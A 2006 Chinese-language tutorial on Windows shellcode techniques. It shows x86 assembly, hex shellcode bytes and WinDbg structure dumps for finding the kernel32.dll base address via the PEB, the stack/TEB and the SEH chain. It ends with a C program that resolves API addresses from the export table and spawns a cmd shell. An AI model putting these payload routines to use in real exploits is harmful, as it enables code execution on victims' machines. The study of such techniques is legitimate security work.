WIN下 获 取kernel基址的shellcode 探讨
gz1X [ gz1x (at) tom ( dot ) com ]
2006.6.30
[ 什么是shellcode ]
———————————
Shellcode是一个攻击程 序 (Exploit)的 核心代 码,能够在溢出后改 变 系统的正常 流 程,取得系统的 控 制 权 ,是一 些汇 编 代 码抽取成的 16进 制码;
[ 经典 溢出攻击 流 程 ]
———————————
1. 查找Kernel32.dll基地址;
2. 查找GetProcAddress () 函 数地址;
3. 查找 其 它API 函 数地址;
4. CreateProcess () ;
5. 远程 连 接。
我们都知 道WINDOWS 的系统功能不像UNIX的系统调 用 那 样 实现, 由 于WINDOWS版本的不断更 新 ,使得系统调 用 对SHELLCODE几 乎起 不到作 用 。
但是WINDOWS是 靠DLL 动态链接库 来 实现,这 就 是说,如果能从KERNEL32.DLL中 获 取LoadLibrary () 和GetProcAddress () 函 数的地址,我们 就可 以调 用WINDOWS 下的所有 函 数了。
所以我们需要对KERNEL32.DLL 进 行地址定位,这也是本文的目的。
[ 获 取KERNEL地址的方法 ]
———————————
1. 通过PEB 获 取;
2. 通过TOPSTACK - TEB 获 取;
3. 通过SEH 获 取;
[ 第三方工具 获 取基址 ]
———————————
为了方便 审核和 对比结果,我们 用MASM提 供的dumpbin分析本地kernel32.dll的加 载 地址。如下:
C: \WINDOWS\system32 > dumpbin / headers kernel32.dll
// ...此 处 省略
看OPTIONAL HEADER VALUES 里 的 7C800000 image base, 其 中 7C800000即 为本地kernel32.dll的加 载 地址。
注意是本地的加 载 地址,在远程目标 机 器 上 ,我们需要额外的技巧 来 实现kernel32.dll地址的查找, 即PEB , SEH等方法。
当然,为了简单,你也 可 以 直 接 用Windbg 加 载 一个类似noteapad的 可 执行程 序 ,ModLoad 里 很清晰地给出了kernel32.dll的地址。
[ PEB ]
———————————
获 取KERNEL地址最有效的方法 就 是通过PEB实现, 即 :PEB kernel base location。
下 面 是一个比较常见的 利用PEB获 取kernel32.dll地址的shellcode , 31 字 节 。
————————————————
/* 程 序1 */
004045F4 > 6A 30 PUSH 30
004045F6 59 POP ECX
004045F7 64 : 8B09 MOV ECX ,DWORD PTR FS :[ ECX ]
004045FA 85C9 TEST ECX , ECX
004045FC 78 0C JS SHORT OllyTest.0040460A
004045FE 8B49 0C MOV ECX ,DWORD PTR DS :[ ECX +C]
00404601 8B71 1C MOV ESI ,DWORD PTR DS :[ ECX + 1C ]
00404604 AD LODS DWORD PTR DS :[ ESI ]
00404605 8B48 08 MOV ECX ,DWORD PTR DS :[ EAX + 8 ]
00404608 EB 09 JMP SHORT OllyTest.00404613
0040460A 8B49 34 MOV ECX ,DWORD PTR DS :[ ECX + 34 ]
0040460D 8B49 7C MOV ECX ,DWORD PTR DS :[ ECX + 7C ]
00404610 8B49 3C MOV ECX ,DWORD PTR DS :[ ECX + 3C ]
————————————————
现在 来 分析下,PEB方法查找 流 程如下:
( 1 ) FS 寄 存 器 -> TEB结构;
( 2 ) TEB + 0x30 -> PEB结构;
( 3 ) PEB + 0x0c -> PEB_LDR_DATA;
( 4 ) PEB_LDR_DATA + 0x1c -> Ntdll.dll;
( 5 ) Ntdll.dll + 0x08 -> Kernel32.dll。
在 2000 以后的系统中,实际 上 实现的方法只要很短的几行:
mov eax , fs :[ 30h ]
mov eax ,[ eax + 0ch ]
mov esi ,[ eax + 1ch ]
lodsd
mov ebx ,[ eax + 08h ]
而在程 序1 中涉 及 了 9X 系统,所以还有相 关 的 判 断 跳 转。
首 先,我们 来 看看TEB 和PEB 的结构, 利用WINDBG ,调试如下:
0 : 000 > dt ntdll!_TEB
+ 0x000 NtTib : _NT_TIB
+ 0x01c EnvironmentPointer : Ptr32 Void
+ 0x020 ClientId : _CLIENT_ID
+ 0x028 ActiveRpcHandle : Ptr32 Void
+ 0x02c ThreadLocalStoragePointer : Ptr32 Void
+ 0x030 ProcessEnvironmentBlock : Ptr32 _PEB
+ 0x034 LastErrorValue : Uint4B
+ 0x038 CountOfOwnedCriticalSections : Uint4B
+ 0x03c CsrClientThread : Ptr32 Void
+ 0x040 Win32ThreadInfo : Ptr32 Void
... // 此 处 省略
+ 0xfac CurrentTransactionHandle : Ptr32 Void
+ 0xfb0 ActiveFrame : Ptr32 _TEB_ACTIVE_FRAME
+ 0xfb4 SafeThunkCall : UChar
+ 0xfb5 BooleanSpare : [ 3 ] UChar
0 : 000 > dt - v - r ntdll!_PEB
struct _PEB , 65 elements , 0x210 bytes
+ 0x000 InheritedAddressSpace : UChar
+ 0x001 ReadImageFileExecOptions : UChar
+ 0x002 BeingDebugged : UChar
+ 0x003 SpareBool : UChar
+ 0x004 Mutant : Ptr32 to Void
+ 0x008 ImageBaseAddress : Ptr32 to Void
+ 0x00c Ldr : Ptr32 to struct _PEB_LDR_DATA , 7 elements , 0x28 bytes
+ 0x000 Length : Uint4B
+ 0x004 Initialized : UChar
+ 0x008 SsHandle : Ptr32 to Void
+ 0x00c InLoadOrderModuleList : struct _LIST_ENTRY , 2 elements , 0x8 bytes
+ 0x000 Flink : Ptr32 to struct _LIST_ENTRY , 2 elements , 0x8 bytes
+ 0x004 Blink : Ptr32 to struct _LIST_ENTRY , 2 elements , 0x8 bytes
+ 0x014 InMemoryOrderModuleList : struct _LIST_ENTRY , 2 elements , 0x8 bytes
+ 0x000 Flink : Ptr32 to struct _LIST_ENTRY , 2 elements , 0x8 bytes
+ 0x004 Blink : Ptr32 to struct _LIST_ENTRY , 2 elements , 0x8 bytes
+ 0x01c InInitializationOrderModuleList : struct _LIST_ENTRY , 2 elements , 0x8 bytes
+ 0x000 Flink : Ptr32 to struct _LIST_ENTRY , 2 elements , 0x8 bytes
+ 0x004 Blink : Ptr32 to struct _LIST_ENTRY , 2 elements , 0x8 bytes
+ 0x024 EntryInProgress : Ptr32 to Void
+ 0x010 ProcessParameters : Ptr32 to struct _RTL_USER_PROCESS_PARAMETERS , 28 elements , 0x290 bytes
+ 0x000 MaximumLength : Uint4B
+ 0x004 Length : Uint4B
+ 0x008 Flags : Uint4B
+ 0x00c DebugFlags : Uint4B
+ 0x010 ConsoleHandle : Ptr32 to Void
+ 0x014 ConsoleFlags : Uint4B
+ 0x018 StandardInput : Ptr32 to Void
+ 0x01c StandardOutput : Ptr32 to Void
+ 0x020 StandardError : Ptr32 to Void
... // 此 处 省略
+ 0x1f8 ActivationContextData : Ptr32 to Void
+ 0x1fc ProcessAssemblyStorageMap : Ptr32 to Void
+ 0x200 SystemDefaultActivationContextData : Ptr32 to Void
+ 0x204 SystemAssemblyStorageMap : Ptr32 to Void
+ 0x208 MinimumStackCommit : Uint4B
再 结合 [ 程 序1 ] ,有:
PUSH 30
POP ECX
这句很简单,给 ECX 赋值 30 。
MOV ECX ,DWORD PTR FS :[ ECX ]
FS : 0 指向TEB,偏移 30H 的结果是指向PEB。
TEST ECX , ECX
JS SHORT OllyTest.0040460A
测试 ECX , 进 行 9X和NT 的 判 断,符号位置位 ( 即test 结果为负 ) 则 认定为 9X 系统, 进 行短 跳 转。否 则 为 2000 / XP / 2003 系列,接着往下走。
MOV ECX ,DWORD PTR DS :[ ECX +C]
MOV ESI ,DWORD PTR DS :[ ECX + 1C ]
LODS DWORD PTR DS :[ ESI ]
MOV ECX ,DWORD PTR DS :[ EAX + 8 ]
JMP SHORT OllyTest.00404613
DS :[ ECX +C] 指向了PEB_LDR_DATA结构(此结构作 用 : 枚 举 当前 进 程 空 间中的模 块 ), [ ECX + 1C ] 指向InitializationOrderModuleList结构,
这个结构 里 偏移 8H就 是kernel32.dll的相 关 。 因为是在NT下实现,所以找到后 直 接 JMP 掉 9X 的 处理 过程。
MOV ECX ,DWORD PTR DS :[ ECX + 34 ]
MOV ECX ,DWORD PTR DS :[ ECX + 7C ]
MOV ECX ,DWORD PTR DS :[ ECX + 3C ]
WIN9X下的实现。
由 于shellcode中不能出现 空 字符,所以需要采 用 一 些 手段 来进 行赋值等操作,程 序1和 下 面 的程 序2 都采 用 了一 些 手法 来 到达目的。
[ PEB ] 扩展
————————
注释部分 演 示了 另 一种方法,实际 上就 是 头 几句 用 了个技巧,减少了字 节 数。
————————————————
/* 程 序2 // 程 序 注释采 用C语言 风格 */
xor eax , eax // 另 外一种方法
xor edx , edx // 来 自milw0rm
mov dl , 30h // 字 节 数减少了
mov eax , fs :[ edx ] // 后 面 相同
test eax , eax //add eax , fs :[ eax + 30h ]
js for9x //js for9x
mov eax , [ eax + 0Ch ]
mov esi , [ eax + 1Ch ]
lodsd
mov eax , [ eax + 08h ]
jmp short skip
for9x :
mov eax , [ eax + 34h ]
lea eax , [ eax + 7Ch ]
mov eax , [ eax + 3Ch ]
skip :
————————————————
这是比较保守的 写 法了,但是也考虑了 0X00 的问 题 。
这个抽成的shellcode字 节 数应该比程 序1 那个 长 , 35 字 节 ;
光看开 头 的几句:
xor eax , eax
xor edx , edx
mov dl , 30h
就可 以知 道 字 节 数不少,抽出 来16进 制是:
\x31\xC0
\x31\xD2
\xB2\x30
6 个字 节 , 和 程 序1 的那个:
6A 30 PUSH 30
59 POP ECX
相差了 3 个字 节...
完整的 16进 制码如下:
"\x31\xC0" /* xor eax , eax */
"\x31\xD2" /* xor edx , edx */
"\xB2\x30" /* mov dl , 30h */
"\x64\x8B\x02" /* mov eax , [ fs : edx ] */
"\x85\xC0" /* test eax , eax */
"\x78\xC0" /* js 0Ch */
"\x8B\x40\x0C" /* mov eax , [ eax + 0Ch ] */
"\x8B\x70\x1C" /* mov esi , [ eax + 1Ch ] */
"\xAD" /* lodsd */
"\x8B\x40\x08" /* mov eax , [ eax + 08h ] */
"\xEB\x07" /* jmp short 09h */
"\x8B\x40\x34" /* mov eax , [ eax + 34h ] */
"\x8D\x40\x7C" /* lea eax , [ eax + 7Ch ] */
"\x8D\x40\x3C" /* mov eax , [ eax + 3Ch ] */
[ TOPSTACK - TEB ]
————————
本地线程的堆 栈里 偏移 1CH ( 或 者18H ) 的指针指向kernel32.dll内部,而 fs :[ 0x18 ] 指向当前线程而且往 里 四个字 节 指向线程 栈 ,
结合堆 栈 的top pointer 进 行对 齐 遍 历 ,找到PE文件 头 (DLL的文件格 式 )的 “MZ ”MSDOS标 志 , 就 拿到了kernel32.dll基址。
先从Windbg 里 查看一下:
0 : 000 > dt - v - r _NT_TIB $teb
struct _NT_TIB , 8 elements , 0x1c bytes
+ 0x000 ExceptionList : 0x0013fd0c struct _EXCEPTION_REGISTRATION_RECORD , 2 elements , 0x8 bytes
+ 0x000 Next : 0xffffffff struct _EXCEPTION_REGISTRATION_RECORD , 2 elements , 0x8 bytes
+ 0x000 Next : ????
+ 0x004 Handler : ????
+ 0x004 Handler : 0x7c92ee18 _EXCEPTION_DISPOSITION ntdll!_except_handler3 + 0
+ 0x004 StackBase : 0x00140000
+ 0x008 StackLimit : 0x0013e000
+ 0x00c SubSystemTib : ( null )
+ 0x010 FiberData : 0x00001e00
+ 0x010 Version : 0x1e00
+ 0x014 ArbitraryUserPointer : ( null )
+ 0x018 Self : 0x7ffdf000 struct _NT_TIB , 8 elements , 0x1c bytes
+ 0x000 ExceptionList : 0x0013fd0c struct _EXCEPTION_REGISTRATION_RECORD , 2 elements , 0x8 bytes
+ 0x000 Next : 0xffffffff struct _EXCEPTION_REGISTRATION_RECORD , 2 elements , 0x8 bytes
+ 0x004 Handler : 0x7c92ee18 _EXCEPTION_DISPOSITION ntdll!_except_handler3 + 0
+ 0x004 StackBase : 0x00140000
+ 0x008 StackLimit : 0x0013e000
+ 0x00c SubSystemTib : ( null )
+ 0x010 FiberData : 0x00001e00
+ 0x010 Version : 0x1e00
+ 0x014 ArbitraryUserPointer : ( null )
+ 0x018 Self : 0x7ffdf000 struct _NT_TIB
其 中 + 0x018 Self是一个指向TEB自己的指针,StackBase指向本线程堆 栈 的原点 , 即 地址最高 处 , 这 里 是 0x140000 ,
而StackLimit 则 指向堆 栈 所在区间的下部边界 , 即 地址最低 处.
————————————————
/* 程 序3 */
xor esi , esi
mov esi , fs :[ esi + 0x18 ] // TEB
mov eax , [ esi + 4 ] // 这个是需要的 栈 顶StackBase,top of the stack
mov eax , [ eax - 0x1c ] // 指向Kernel32.dll内部
//mov eax , [ eax - 0x18 ]
find_kernel32_base :
dec eax // 开始遍 历 页
xor ax , ax
cmp word ptr [ eax ], 0x5a4d // "MZ"
jne find_kernel32_base // 循 环遍 历 ,找到 则 返回 eax
————————————————
为了方便测试,我 写 了一个PEB / TEB / SEH通 用 测试 例 程:
/*
* 程 序4
* SEH method test for Windows 9x / NT / 2k / XP
* asm return eax contained kernel32.dll base address.
* print kernel base address in the console.
*/
__inline __declspec ( naked ) unsigned int GetKernel32 ()
{
__asm
{
push esi
push ecx
/* you should replace the follow section if you want to test the others */
xor esi , esi
mov esi , fs :[ esi + 0x18 ]
mov eax , [ esi + 4 ]
mov eax , [ eax - 0x1c ]
find_kernel32_base :
dec eax
xor ax , ax
cmp word ptr [ eax ], 0x5a4d
jne find_kernel32_base
/* Above is the section needed to replace */
pop ecx
pop esi
ret
}
}
void main ( void )
{
printf ( "Kernel base is located at: 0x%0.8X\n" , GetKernel32 ()) ;
}
注意这几句:
1. mov eax , [ eax - 0x1c ]
一般地,它将指向kernel32.dll内部,你 可 以在编译器 里 单步跟踪调试。 其 中, eax 值为StackBase ( 0x140000 ) ,计算 eax - 0x1c可 得 0x0013FFE4 ;
在我的 机 器 上0x0013FFE4 为 0x7C839AA8 , 0x0013FFE8 为 7C816FE0 。
此 时栈 的分布大致如下:
| ... |
0013FFE0 | FFFFFFFF | SEH链尾部 // 哦? 有疑问吗?SEH吗 ?
0013FFE4 | 7C839AA8 | SEH 处理 程 序
0013FFE8 | 7C816FE0 | kernel32.7C816FE0
| 00000000 |
| ... |
2. dec eax
xor ax , ax
这两句的作 用就 是实现页遍 历 ,单步跟踪结果如下:
0x7C839AA8 -> 0x7C839AA7 -> 0x7C830000 -> 0x7C82FFFF -> 0x7C820000 -> ... -> 0x7C800000
但是,在不同环境下的堆 栈 不同,如果偏移 1C ( 或 18 ) 不指向kernel32.dll内部,将导致 获 取地址失 败 ,当然这种情况很少发 生 ,
至少我现在还没遇到过; 另 一个几率很 小 的失 败 现象是 64K 的页边界有 "MZ" 这 样 的特征字符出现,这 样可 能会 误 导得到错 误 的地址。
[ SEH ]
———————————
WINOWS 另 一个重要的也是未公开的技术(虽然现在不是什么 新 技术了) 就 是SEH(Structured Exception Handling)。
默 认的异常 处理 (注意是 默 认的,如果你自己重 写 了异常 处理 ,卸掉了 默 认的 处理 ,那么此方法 就 行不通了。但一般没人这么做...),
它指向kernel32.dll内部,我们要做的 就 是顺藤摸瓜。
思路是这 样 的: 进 程 里FS : [ 0 ] 指向的是SEH链的最内层,为了找到顶层异常 处理 ,我们向外遍 历 找到prev成 员 等于 0xffffffff 的EXCEPTION_REGISTER结构,
该结构的handler值 就 是系统 默 认的 处理例 程;这 里 有个细 节 ,DLL的装 载 是 64K 边界对 齐 的,所以需要 利用 遍 历 到的指向最后的异常 处理 的指针 进 行页查找,
再 结合PE文件MSDOS标 志 部分,只要在每个 64K 边界查找 “MZ ”字符 就 能找到kernel32.dll基址。
————————————————
/* 程 序5 */
xor ecx , ecx
mov esi , fs :[ ecx ]
find_seh :
mov eax ,[ esi ]
mov esi , eax
cmp [ eax ], ecx
jns find_seh // 0xffffffff
mov eax , [ eax + 0x04 ] // handler
find_kernel32_base :
dec eax
xor ax , ax
cmp word ptr [ eax ], 0x5a4d
jne find_kernel32_base
————————————————
我们将 [ 程 序5 ] 套 用 [ 程 序4 ] 进 行跟踪调试,handler指向的地址为 0x7C839AA8 ,页遍 历 的结果 和 [ 程 序4 ] 相同。
0x7C839AA8 这个地址 处 应该是最后的异常 处理函 数,我们 可 以从内 存里 看到:
7C839AA8 55 8B EC 83 EC 08 53 56 U嬱冹.SV
7C839AB0 57 55 FC 8B 5D 0C 8B 45 WU鼖 ] .婨
7C839AB8 08 F7 40 04 06 00 00 00 .鰼.....
7C839AC0 0F 85 AB 00 00 00 89 45 .叓...塃
7C839AC8 F8 8B 45 10 89 45 FC 8D 鴭E.塃鼚
7C839AD0 45 F8 89 43 FC 8B 73 0C E鴫 C 鼖s.
7C839AD8 8B 7B 08 53 E8 7A 5E 04 媨.S鑪 ^ .
7C839AE0 00 83 C4 04 0B C0 74 7B .兡.. 纓 {
... // 此 处 省略
7C839B78 E8 62 43 FD FF 83 C4 08 鑒C..兡.
7C839B80 5D B8 01 00 00 00 5D 5F ] ..... ] _
7C839B88 5E 5B 8B E5 5D C3
很 经典 的 函 数类型 汇 编 代 码:
55 push ebp
8b ec mov ebp , esp
83 ec 08 sub esp , 08
53 push ebx
56 push esi
57 push edi
...
5f pop edi
5e pop esi
5b pop ebx
8b e5 mov esp , ebp
5d pop ebp
c3 ret
这 样 也 解 开了TOPSTACK 里 的疑惑,回 头 去看 栈里 的内容, 就 知 道 为什么我会注释 上SEH 的字 样 了, 其 实 栈里 保 存 的也是 默 认的异常 处理函 数地址。
从根 源上来 说,TOPSTACK 和SEH 应该是属于一类方法,不过既然实现 上 有不同,我们也暂且划分成两类吧。
[ shell测试程 序 ]
———————————
获 取KERNEL地址的方法介 绍 的差不多了,下 面演 示下结合PE结构 获 取API的方法得到cmd shell的 例 程。
/*
* 程 序6
* Get the cmd shell.
* Coded by gz1x.
*/
unsigned int GetFunc ( unsigned int ImageBase , const char * FuncName ,int flen )
{
__asm
{
mov eax , ImageBase
mov eax ,[ eax + 0x3c ]
add eax , ImageBase // PE header
mov eax ,[ eax + 0x78 ] // Data_Directory
add eax , ImageBase
mov esi , eax // IMAGE_EXPORT_DIRECTORY
mov ecx ,[ eax + 0x18 ] // NumberOfName
mov eax ,[ eax + 0x20 ] // AddressOfName
add eax , ImageBase
mov ebx , eax
xor edx , edx
FindLoop :
push ecx
push esi
mov eax ,[ eax ]
add eax , ImageBase
mov esi , FuncName
mov edi , eax
mov ecx , flen
cld
rep cmpsb // compare function
pop esi //pop esi => IMAGE_EXPORT_DIRECTORY
je Found
inc edx
add ebx , 4
mov eax , ebx
pop ecx
loop FindLoop
Found :
add esp , 4
mov eax , esi
mov eax ,[ eax + 0x1c ] // AddressOfFunction
add eax , ImageBase
shl edx , 2
add eax , edx
mov eax ,[ eax ]
add eax , ImageBase // eax return
}
}
__inline __declspec ( naked ) unsigned int GetKernel32 ()
{
__asm
{
push esi
push ecx
/* you should replace the follow section if you want to test the others */
xor eax , eax
xor esi , esi
mov esi , fs :[ esi + 0x18 ]
mov eax , [ esi + 4 ]
mov eax , [ eax - 0x1c ]
find_kernel32_base :
dec eax
xor ax , ax
cmp word ptr [ eax ], 0x5a4d
jne find_kernel32_base
/* Above is the section needed to replace */
pop ecx
pop esi
ret
}
}
void main ( void )
{
char risefunc []= "cmd" , dll []= "msvcrt" , func []= "system";
unsigned int loadfun ;
loadfun = GetFunc ( GetKernel32 (), "LoadLibraryA" , 12 ) ;
__asm
{
lea eax , dll
push eax
call dword ptr loadfun // LoadLibraryA ( "msvcrt" ) ;
lea ebx , func
push 0x06
push ebx
push eax
call GetFunc // GetFunc ([ msvcrt ], "system" , 6 ) ;
mov ebx , eax
add esp , 0x04
lea eax , risefunc
push eax
call ebx // system ( "cmd" ) ;
}
}
其 中,GetFunc 函 数通过PE文件 头 结构得到输出表的API地址,GetKernel32 函 数是在介 绍SEH时 给出的 获 取KERNEL地址的方法。
main 函 数 里 为了测试方便,加 载 了msvcrt.dll, 获 取 其 中的system 函 数,从而得到cmd 窗口 。
本文介 绍 了一 些WINDOWS 平台下kernel基址的 获 取方法,对于WINDOWS, LOCAL 溢出 并 没什么大意义,所以要结合
WINSOCK相 关 的 函 数 进 行远程溢出, 流 程 上 是在 获 取kernel基址 填充shellcode 之后 进 行远程通 信 , 并 将shellcode发送到远程
主 机 。这 里WINSOCK函 数的 获 取 和 编码,以 及CreateProcess 编码的细 节 不 再阐 述,也超出本文的 讨 论,有 兴趣 的
不妨参考一 些 成型的exploit。
*[ 参考资 源 ] :
1.Inside Microsoft Windows 2000 Third Edition - David A. Solomon , Mark E. Russinovich
2. 通往WinDbg的捷径 : http :// www.debuginfo.com / articles / easywindbg.html
3.PE 文件格 式 1.9 版 : http :// bbs.pediy.com / showthread.php?threadid = 21932
4.35 byte PEB method : http :// www.milw0rm.com / exploits / 747
5.metasploit : http :// www.metasploit.com / shellcode.html
6.connectback_v32.c : http :// security.prowork.com.cn / docs / win_Connect_Back_shellcode.html